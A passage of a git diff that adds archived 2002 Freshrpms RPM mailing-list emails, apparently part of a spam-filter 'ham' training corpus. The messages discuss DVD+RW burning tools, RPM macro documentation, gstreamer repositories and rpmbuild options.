i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 11:23:28 +0200 +Date: Wed, 14 Aug 2002 11:23:28 +0200 + +Once upon a time, Chris wrote : + +> To bring things back on topic, I was practicing my "rpmbuild'n skillz" +> and made an rpm with some simple software tools to drive my DVD+RW +> burner. No GUI frontend, but it works just fine from the command line. I +> even used it to burn a bootable DVD version of Red Hat 7.3. +> +> ftp://people.redhat.com/ckloiber/dvd+rw-tools-0.1.src.rpm + +Nice! :-) +What about the "dvdrecord" package that's already included in 7.3? It +doesn't do what this one does? I'm asking this because I've got a friend +with an iMac running YellowDog Linux (basically Red Hat Linux for PPC), and +it's one of the newer versions with a DVD burner. I'd be very interested in +using his drive to burn DVDs full of 2-CDs movies or full of "files for +xmame" ;-) +Also, a bootable DVD of Red Hat Linux 7.3 would be great as I've still not +burned the CDs even once for myself since I always install through the +network (and haven't found an easy way of purchasing an english boxed set +here in Spain...). + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01228.5d8cae656dad21c870aa24edf74f4d40 b/bayes/spamham/easy_ham_2/01228.5d8cae656dad21c870aa24edf74f4d40 new file mode 100644 index 0000000..a4cb9b0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01228.5d8cae656dad21c870aa24edf74f4d40 @@ -0,0 +1,106 @@ +From rpm-list-admin@freshrpms.net Wed Aug 14 11:52:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F0C4943C32 + for ; Wed, 14 Aug 2002 06:52:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 11:52:11 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7EAm6410807 for + ; Wed, 14 Aug 2002 11:48:06 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7EAh1J13514; Wed, 14 Aug 2002 12:43:02 + +0200 +Received: from web21409.mail.yahoo.com (web21409.mail.yahoo.com + [216.136.232.79]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g7EAgGJ13429 for ; Wed, 14 Aug 2002 12:42:17 +0200 +Message-Id: <20020814104215.17568.qmail@web21409.mail.yahoo.com> +Received: from [141.228.156.225] by web21409.mail.yahoo.com via HTTP; + Wed, 14 Aug 2002 11:42:15 BST +From: =?iso-8859-1?q?Mich=E8l=20Alexandre=20Salim?= +Subject: Re: DVD+RW tools available (Was: Re: How to add service port ?) +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020814112328.325411bb.matthias@egwn.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 11:42:15 +0100 (BST) +Date: Wed, 14 Aug 2002 11:42:15 +0100 (BST) + + --- Matthias Saou wrote: > Once +upon a time, Chris wrote : +> +> > To bring things back on topic, I was practicing my +> "rpmbuild'n skillz" +> > and made an rpm with some simple software tools to +> drive my DVD+RW +> > burner. No GUI frontend, but it works just fine +> from the command line. I +> > even used it to burn a bootable DVD version of Red +> Hat 7.3. +> > +> > +> +ftp://people.redhat.com/ckloiber/dvd+rw-tools-0.1.src.rpm +> +> Nice! :-) +> What about the "dvdrecord" package that's already +> included in 7.3? It +> doesn't do what this one does? I'm asking this +> because I've got a friend +> with an iMac running YellowDog Linux (basically Red +> Hat Linux for PPC), and +> it's one of the newer versions with a DVD burner. +> I'd be very interested in +> using his drive to burn DVDs full of 2-CDs movies or +> full of "files for +> xmame" ;-) +> Also, a bootable DVD of Red Hat Linux 7.3 would be +> great as I've still not +> burned the CDs even once for myself since I always +> install through the +> network (and haven't found an easy way of purchasing +> an english boxed set +> here in Spain...). +> +> Matthias +> +That's done by bero - not too sure whether it works on +DVD+RW drives, I believe it supports only DVD-R. + +Would be nice to have a unified tool for DVD/CD +burning - already I do my CD burning from dvdrecord +since it is more recent. + +Regards, + +Michel + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01229.8ddcde29a0f578173e251f8509c5b0ea b/bayes/spamham/easy_ham_2/01229.8ddcde29a0f578173e251f8509c5b0ea new file mode 100644 index 0000000..8e94447 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01229.8ddcde29a0f578173e251f8509c5b0ea @@ -0,0 +1,60 @@ +Return-Path: rpm-zzzlist-admin@freshrpms.net +Delivery-Date: Mon Jul 22 17:02:20 2002 +Return-Path: +Received: from webnote.net (mail.webnote.net [193.120.211.219]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG2KY17054 + for ; Mon, 22 Jul 2002 17:02:20 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) + by webnote.net (8.9.3/8.9.3) with ESMTP id XAA25104 + for ; Sat, 20 Jul 2002 23:19:26 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6KMB6C01695; + Sun, 21 Jul 2002 00:11:06 +0200 +Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6KMA5C01508 + for ; Sun, 21 Jul 2002 00:10:06 +0200 +Received: from user-1121pr6.dialup.mindspring.com ([66.32.231.102]) + by mclean.mail.mindspring.net with esmtp (Exim 3.33 #1) + id 17W2QP-0002Az-00 + for rpm-list@freshrpms.net; Sat, 20 Jul 2002 18:10:05 -0400 +Subject: Ximian apt repos? +From: Chris Weyl +To: rpm-zzzlist@freshrpms.net +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.7 +Message-Id: <1027203479.5354.14.camel@athena> +Mime-Version: 1.0 +X-MailScanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-BeenThere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 20 Jul 2002 17:17:59 -0500 +Date: 20 Jul 2002 17:17:59 -0500 + +Just a quick question.... does anyone know of a public Ximian apt/rpm +repository? + +(I know, I know.... but some ppl kinda like it:-)) + +Thanks- + -Chris + + + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list diff --git a/bayes/spamham/easy_ham_2/01230.9b29026ab85c0a0bfdba617de748c186 b/bayes/spamham/easy_ham_2/01230.9b29026ab85c0a0bfdba617de748c186 new file mode 100644 index 0000000..4af543c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01230.9b29026ab85c0a0bfdba617de748c186 @@ -0,0 +1,78 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 10:57:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 201B143C46 + for ; Fri, 16 Aug 2002 05:56:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 10:56:31 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7FIv1713772 for + ; Thu, 15 Aug 2002 19:57:01 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7FIl2J22986; Thu, 15 Aug 2002 20:47:02 + +0200 +Received: from mail.addix.net (kahless.addix.net [195.179.139.19]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7FIkUJ14012 for + ; Thu, 15 Aug 2002 20:46:30 +0200 +Received: from kushana.camperquake.de (kushana.camperquake.de + [194.64.167.57]) by mail.addix.net (8.9.3/8.9.3) with ESMTP id UAA01101 + for ; Thu, 15 Aug 2002 20:46:31 +0200 +Received: from nausicaa.camperquake.de ([194.64.167.58] helo=nausicaa) by + kushana.camperquake.de with smtp (Exim 3.36 #1) id 17fPqV-0004zj-00 for + rpm-list@freshrpms.net; Thu, 15 Aug 2002 20:59:47 +0200 +From: Ralf Ertzinger +To: rpm-zzzlist@freshrpms.net +Subject: Re: Documentation about built-in RPM macros? +Message-Id: <20020815205233.4a04aba3.ralf@camperquake.de> +In-Reply-To: <1029431749.1704.1066.camel@turner.gestalt.entity.net> +References: + <1029431749.1704.1066.camel@turner.gestalt.entity.net> +Organization: [NDC] ;) +X-Mailer: Sylpheed version 0.7.8 (GTK+ 1.2.10; i386-redhat-linux) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 15 Aug 2002 20:52:33 +0200 +Date: Thu, 15 Aug 2002 20:52:33 +0200 + +Hi. + +Dave Cridland wrote: + +> > recommends *against* using '%configure' ("We will try to support users +> > who accidentally type the leading % but this should not be relied +> > upon."), and yet + +[snip] + +> They're just suggesting people use "./configure" instead. + +No, they do not (what would be the use of that, anyway?). They say that +they will _try_ to eval macros even if the user forgot to pass the +leading '%', but that this feature should not be relied upon. + +-- +On the first day of Christmas my true love sent to me + A badly configured newsreader + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01231.cf3d43bbf8c43e960cceaf0a68987fe3 b/bayes/spamham/easy_ham_2/01231.cf3d43bbf8c43e960cceaf0a68987fe3 new file mode 100644 index 0000000..7b508f2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01231.cf3d43bbf8c43e960cceaf0a68987fe3 @@ -0,0 +1,131 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 10:58:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2C42543C4C + for ; Fri, 16 Aug 2002 05:56:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 10:56:45 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7FJYf715049 for + ; Thu, 15 Aug 2002 20:34:41 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7FJW2J26798; Thu, 15 Aug 2002 21:32:03 + +0200 +Received: from ex02.idirect.net (ex02.idirect.net [208.226.76.48]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7FJUkJ16228 for + ; Thu, 15 Aug 2002 21:30:46 +0200 +X-Mimeole: Produced By Microsoft Exchange V6.0.4417.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Subject: RE: Documentation about built-in RPM macros? +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: Documentation about built-in RPM macros? +Thread-Index: AcJEjYzDuVbFyMvQTtimZrgVK0GviAAAaRAw +From: "Harig, Mark A." +To: +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g7FJUkJ16228 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 15 Aug 2002 15:30:40 -0400 +Date: Thu, 15 Aug 2002 15:30:40 -0400 + + + +> -----Original Message----- +> From: Ralf Ertzinger [mailto:ralf@camperquake.de] +> Sent: Thursday, August 15, 2002 2:53 PM +> To: rpm-zzzlist@freshrpms.net +> Subject: Re: Documentation about built-in RPM macros? +> +> +> Hi. +> +> Dave Cridland wrote: +> +> > > recommends *against* using '%configure' ("We will try to +> support users +> > > who accidentally type the leading % but this should not be relied +> > > upon."), and yet +> +> [snip] +> +> > They're just suggesting people use "./configure" instead. +> +> No, they do not (what would be the use of that, anyway?). +> They say that +> they will _try_ to eval macros even if the user forgot to pass the +> leading '%', but that this feature should not be relied upon. +> + +Hmm. 1. The quote is not suggesting that people use './configure'. +2. The quote is not saying that rpm will _try_ to eval macros even +if the user forgot to pass the leading '%'. It is saying the opposite: +rpm will try to support users who "forgot" to _leave off_ the leading +'%'. That is what the documentation _says_, but rpm does not follow +the documentation. If you leave off the '%', then rpm will not eval +the macro, at least for rpm 4.0.4. + +Confused? + +Anyway, back to my original problem: what about documentation for +the macros '%post', '%postun', and '%files'? Here's some of what +I found "documented" in the the CHANGES file that 'rpm' includes: + +Line 46: + - macro for %files, always include %defattr(), redhat config +only. + +Line 49: + - bail on %files macro. + +Hmm. So, there is no %files macro? + +Line 172-174: + - add "rpmlib(ScriptletInterpreterArgs)" to track + %post -p "/sbin/ldconfig -n /usr/lib" + incompatibilities. + +I'm unable to find a corresponding description for %postun, but it +appears to work just the same. The important things to remember are: + + 1. Don't forget the double-quotes around the -p argument string. If + you leave them off, you'll get the cryptic error message: + + error: line #: Package does not exist: %post -p /sbin/ldconfig -n +/usr/lib + + 2. This only works with RPM 4.0.3 or later. + +> -- +> On the first day of Christmas my true love sent to me +> A badly configured newsreader +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list +> + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01232.8077cd29af0f1eb3a7c1b125375d9a9e b/bayes/spamham/easy_ham_2/01232.8077cd29af0f1eb3a7c1b125375d9a9e new file mode 100644 index 0000000..5ce224f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01232.8077cd29af0f1eb3a7c1b125375d9a9e @@ -0,0 +1,71 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:00:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D850443C60 + for ; Fri, 16 Aug 2002 05:57:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 10:57:31 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7FKOb716728 for + ; Thu, 15 Aug 2002 21:24:37 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7FKG1J19900; Thu, 15 Aug 2002 22:16:02 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7FKFcJ19527 for + ; Thu, 15 Aug 2002 22:15:38 +0200 +Received: from aquila.kamakiriad.local ([192.168.1.3]) by kamakiriad.com + (8.11.6/8.11.0) with SMTP id g7EMT8M24569; Wed, 14 Aug 2002 17:29:08 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: tjb@unh.edu +Subject: Re: Gstreamer Repository +Message-Id: <20020814172908.664ab9bf.kilroy@kamakiriad.com> +In-Reply-To: <1029337162.5167.6.camel@wintermute.sr.unh.edu> +References: <1029337162.5167.6.camel@wintermute.sr.unh.edu> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 17:29:08 -0500 +Date: Wed, 14 Aug 2002 17:29:08 -0500 + +On 14 Aug 2002 10:59:22 -0400, "Thomas J. Baker" wrote: + +> Has anyone had any luck with the gstreamer repository? I'm using RH 7.3 +> and Ximian Gnome 2 snaps and the gstreamer stuff just doesn't work at +> all. Rhythmbox crashes on startup, gst-player can't play a simple mpg +> file, etc. + + I'm in your same shoes- I can get it upgraded and all, but I can never seem to work out where to start out with the thing; it strikes me as confusing! But to be fair, I appreciate the pipline idea; just as it's useful on the commandline, it'll be emensely powerful for manipulating multimedia, too. It's just not EASY yet. I'm sure all kindsa glade-produced front-ends will come up for it soon, though. And the docs are complete, too... + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +"Waddling" into the mainstream? I suppose... +http://www.usatoday.com/usatonline/20020805/4333165s.htm + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01233.fccdd783a75357fe29b39816a3a3f6f4 b/bayes/spamham/easy_ham_2/01233.fccdd783a75357fe29b39816a3a3f6f4 new file mode 100644 index 0000000..498d17d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01233.fccdd783a75357fe29b39816a3a3f6f4 @@ -0,0 +1,75 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:05:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9337244108 + for ; Fri, 16 Aug 2002 05:58:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 10:58:27 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7FLiK719365 for + ; Thu, 15 Aug 2002 22:44:20 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7FLb1J24825; Thu, 15 Aug 2002 23:37:01 + +0200 +Received: from ex02.idirect.net (ex02.idirect.net [208.226.76.48]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7EMkYJ16974 for + ; Thu, 15 Aug 2002 00:46:43 +0200 +X-Mimeole: Produced By Microsoft Exchange V6.0.4417.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Subject: Documentation about RPM macros? +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: Documentation about RPM macros? +Thread-Index: AcJD5GmIQVEF4DKyQy+RFg1ZDaBggQ== +From: "Harig, Mark A." +To: +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g7EMkYJ16974 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 18:46:22 -0400 +Date: Wed, 14 Aug 2002 18:46:22 -0400 + +Hi, + + Can someone tell me where I can find some + documentation about rpm macros? In + particular, I'd like to understand the + '%files devel', '%post -p', and '%postun -p' + uses described at + + http://freshrpms.net/docs/fight.html + + and, more generally, I'm looking for a + more detailed description of the available + macros and the options they accept. There's + no description of the above uses of %file, + %post, or %postun in the maximum-rpm book. + + Thanks in advance for any help! + +--- + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01234.538d99529a2f797af84e2aadebce58b7 b/bayes/spamham/easy_ham_2/01234.538d99529a2f797af84e2aadebce58b7 new file mode 100644 index 0000000..0205362 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01234.538d99529a2f797af84e2aadebce58b7 @@ -0,0 +1,70 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:05:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4131F43C4C + for ; Fri, 16 Aug 2002 05:58:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 10:58:29 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7FLiR719370 for + ; Thu, 15 Aug 2002 22:44:27 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7FLbMJ30258; Thu, 15 Aug 2002 23:37:22 + +0200 +Received: from marvin.home.priv (adsl-66-124-58-30.dsl.anhm01.pacbell.net + [66.124.58.30]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7F3uTJ20113 for ; Thu, 15 Aug 2002 05:56:30 +0200 +Received: by marvin.home.priv (Postfix, from userid 500) id A0E0B207F0; + Wed, 14 Aug 2002 20:57:27 -0700 (PDT) +From: Gary Peck +To: rpm-zzzlist@freshrpms.net +Subject: Re: Gstreamer Repository +Message-Id: <20020815035727.GA2280@marvin.home.priv> +Mail-Followup-To: Gary Peck , + rpm-list@freshrpms.net +References: <1029337162.5167.6.camel@wintermute.sr.unh.edu> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1029337162.5167.6.camel@wintermute.sr.unh.edu> +User-Agent: Mutt/1.4i +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 20:57:27 -0700 +Date: Wed, 14 Aug 2002 20:57:27 -0700 + +On Wed, Aug 14, 2002 at 10:59:22AM -0400, Thomas J. Baker wrote: +> Has anyone had any luck with the gstreamer repository? I'm using RH 7.3 +> and Ximian Gnome 2 snaps and the gstreamer stuff just doesn't work at +> all. Rhythmbox crashes on startup, gst-player can't play a simple mpg +> file, etc. + +I've been using the gstreamer repository with Rawhide Gnome 2 for the +last month or so with no problems. Even the new rhythmbox works (if +you can call taking 5 minutes to load my mp3 directory "working"). + +It might be something with Ximian's Gnome 2 snaps. AFAIK, they're +pretty much straight out of CVS and hence a lot more experimental than +some of the other Gnome 2 packages out there. + +gary + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01235.3a679e506c7f862dda03736804009e92 b/bayes/spamham/easy_ham_2/01235.3a679e506c7f862dda03736804009e92 new file mode 100644 index 0000000..015743f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01235.3a679e506c7f862dda03736804009e92 @@ -0,0 +1,94 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:05:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B744E43C4D + for ; Fri, 16 Aug 2002 05:58:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 10:58:35 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7FLno719433 for + ; Thu, 15 Aug 2002 22:49:50 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7FLbRJ31340; Thu, 15 Aug 2002 23:37:27 + +0200 +Received: from python (80-24-132-206.uc.nombres.ttd.es [80.24.132.206]) + (authenticated) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7FLaYJ16859 for ; Thu, 15 Aug 2002 23:36:34 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: making rpms from already-compiled source trees +Message-Id: <20020815230424.25d8a83e.matthias@egwn.net> +In-Reply-To: <20020815164938.59299be9.ralf@camperquake.de> +References: <20020815050336.GB2408@marvin.home.priv> + <20020814221418.012b296f.hosting@j2solutions.net> + <20020815055904.GA2681@marvin.home.priv> + <20020815064512.2c7d5f3e.hosting@j2solutions.net> + <1029421888.1847.1033.camel@turner.gestalt.entity.net> + <1029422204.14538.2.camel@trial> + <20020815164938.59299be9.ralf@camperquake.de> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 15 Aug 2002 23:04:24 +0200 +Date: Thu, 15 Aug 2002 23:04:24 +0200 + +Once upon a time, Ralf wrote : + +> Skipping all RPM build parts except for the actual packing is not +> possible + +Actually it is (sort of). +To answer partly the original question, this might have been useful once +the %files error was corrected : + +rpmbuild -bi --short-circuit + +This will skip all the way to the %install and start from there. Of course, +you need to have already done everything else before, and this will _not_ +produce any rpm files, but will at least tell you if everything is now able +to finish successfully. + +Sure, it's not perfect since if the %files error was actually because +entries were missing you'll notice it only once the package is really +installed. But for multiple typos in the %files section (like when you're +writing a spec file after 2AM ;-)) it can come in handy :-) + +It's also very useful if you need to override some Makefile variables +during install, when the simple cases like "%makeinstall" or "make install +DESTDIR=%{buildroot}" don't work. It 